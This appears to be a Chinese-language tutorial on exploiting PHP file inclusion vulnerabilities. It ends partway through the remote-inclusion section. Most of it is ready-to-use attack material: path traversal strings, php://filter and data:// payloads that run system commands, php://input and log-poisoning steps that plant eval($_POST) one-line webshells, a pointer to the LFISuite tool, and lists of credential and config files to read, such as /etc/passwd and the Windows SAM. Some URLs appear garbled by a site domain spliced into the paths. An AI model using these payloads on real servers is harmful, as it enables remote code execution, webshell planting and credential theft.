文件包含漏洞,得从文件包含说起。一般写代码的人都知道,完成一个项目里面有很多的文件调用和引用
而文件包含漏洞,因为文件包含的时候没有做对应的防御措施导致引用的文件变成攻击者所指定的文件。
PHP中提供了四个文件包含的函数 函数名称 特点include 遇到错误,仍会执行
include_once 遇到错误,仍会执行
require 遇到错误,不会执行
require_once 遇到错误,不会执行
文件包含漏洞又分为:
本地文件包含
远程文件包含
文件包含利用工具:https://github.com/D35m0nd142/LFISuite
本地文件包含:
利用的价值:可包含目标服务器里面的文件
利用的方法:绝对路径包含,协议包含,日志包含
上传图片马,然后包含
若有phpinfo,能知道临时文件的路径,则可以包含临时文件
phar协议的特殊姿势:
1.绝对路径包含
原:
将include.php变为/../../../../../phpinfo.php
?page=include.php ?page=http://www.likecs.com/../../../../../phpinfo.php包含C盘某txt
?page=http://www.likecs.com/../../../../../windows-version.txt
可以发现出现在左上角了
2.协议包含
一般使用的协议有 php,file,data,zip
php协议的用法:base64编码查看脚本的代码,php进行写入
例子:
?page=php://filter/read=convert.base64-encode/resource=http://www.likecs.com/../../../../../shell.php得到加密的base64:PD9waHAgQGV2YWwoJF9QT1NUWydoYXEnXSk7Pz4=
解密之后:
file协议的用法:包含文件
例子:和上面的/../../../../../一样这里就不在重复
data协议的用法:data:text/plain,《php代码》
例子:
?page=data:text/plain,%3C?php%20system(%27ipconfig%27);?%3E很明显的可以看见,利用data协议执行了cmd命令
php://input进行写入:
php://input&cmd=dir post提交:<?php @eval($_POST['cmd']);?>
3.日志包含
利用LFISuite扫描到可以读取的日志
直接提交://http://xx.com/<?php @eval($_POST['c']);?> ,然后burpsuite抓包将提交被html编码的改好进行提交
访问日志,然后配置好C刀即可获取一个一句话木马。
一些常见的日志目录:
windows:
c:\boot.ini c:\windows\systems32\inetsrv\MetaBase.xml c:\windows\repair\sam c:\windows\php.ini php配置文件 c:\windows\my.ini mysql配置文件Linux:
/etc/passwd /usr/local/app/apache2/conf/http.conf /usr/local/app/php5/lib/php.ini PHP相关设置 /etc/httpd/conf/http.conf apache配置文件 /etc/my.cnf mysql配置文件
远程文件包含:
前提:需要开启allow_url_fopen,默认关闭。
新建php.txt: